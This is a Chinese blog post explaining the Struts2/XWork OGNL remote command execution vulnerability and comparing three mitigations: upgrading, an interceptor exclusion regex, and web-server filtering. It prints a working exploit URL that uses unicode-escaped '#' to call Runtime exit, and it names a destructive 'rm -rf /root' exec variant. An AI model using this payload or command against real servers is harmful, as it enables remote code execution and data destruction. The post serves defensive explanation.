Struts2/XWork 安全漏洞及解决办法

迈不过友情╰ 2022-07-12 14:39 283阅读 0赞

exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。  
漏洞名称：Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability  
相关介绍：

*  http://www.exploit-db.com/exploits/14360/
 *  http://sebug.net/exploit/19954/

Struts2的核心是使用的webwork框架，处理 action时通过调用底层的getter/setter方法来处理http的参数，它将每个http参数声明为一个ONGL（这里是ONGL的介绍）语句。当我们提交一个http参数：

?user.address.city=Bishkek&user['favoriteDrink']=kumys

ONGL将它转换为：

action.getUser().getAddress().setCity("Bishkek")
    action.getUser().setFavoriteDrink("kumys")

这是通过ParametersInterceptor（参数过滤器）来执行的，使用用户提供的HTTP参数调用 ValueStack.setValue()。  
为了防范篡改服务器端对象，XWork的ParametersInterceptor不允许参数名中出现“\#”字符，但如果使用了Java的 unicode字符串表示/u0023，攻击者就可以绕过保护，修改保护Java方式执行的值：  
此处代码有破坏性，请在测试环境执行，严禁用此种方法进行恶意攻击

?('/u0023_memberAccess[/'allowStaticMethodAccess/']')(meh)=true&(aaa)(('/u0023context[/'xwork.MethodAccessor.denyMethodExecution/']/u003d/u0023foo')(/u0023foo/u003dnew%20java.lang.Boolean("false")))&(asdf)(('/u0023rt.exit(1)')(/u0023rt/u003d@java.lang.Runtime@getRuntime()))=1

转义后是这样：

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是

java.lang.Runtime.getRuntime().exit(1);

类似的可以执行

java.lang.Runtime.getRuntime().exec("rm –rf /root")

，只要有权限就可以删除任何一个目录。  
目前尝试了3个解决方案：  
  
**1.升级到struts2.2版本。**  
这个可以避免这个问题，但是struts开发团队没有release这个版本（包括最新的2.2.1版本都没有release），经我测试发现新版本虽然解决了上述的漏洞，但是新的问题是strus标签出问题了。

<s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>
    <s:property value="#UserUtil.getType().get(cType.toString())" />

这样的标签在struts2.0中是可以使用的，但是新版中就不解析了，原因就是“\#”的问题导致的，补了漏洞，正常的使用也用不了了。  
所以sebug网站上的建议升级到2.2版本是不可行的。  
  
**2.struts参数过滤。**

<interceptor-ref name="params">
    <param name="excludeParams">.*//u0023.*</param>
    </interceptor-ref>

这个可以解决漏洞问题，缺点是工作量大，每个项目都得改struts配置文件。如果项目里，是引用的一个类似global.xml的配置文件，工作量相应减少一些。  
  
**3.在前端请求进行过滤。**  
比如在ngnix，apache进行拦截，参数中带有/u0023的一律视为攻击，跳转到404页面或者别的什么页面。这样做的一个前提就是没人把\#号转码后作为参数传递。  
  
目前来看后两种是比较有效的方法，采用第三种方法比较简便。是否有另外的解决办法，欢迎大家讨论。  
  
我并没有在windows环境下测试，有同学在windows下没有试验成功，这并不能说明windows下就没有风险可能是我们的参数或者什么地方有问题而已。既然漏洞的确存在，咱们就要重视对吧。欢迎大家测试，是否windows下漏洞不能执行成功。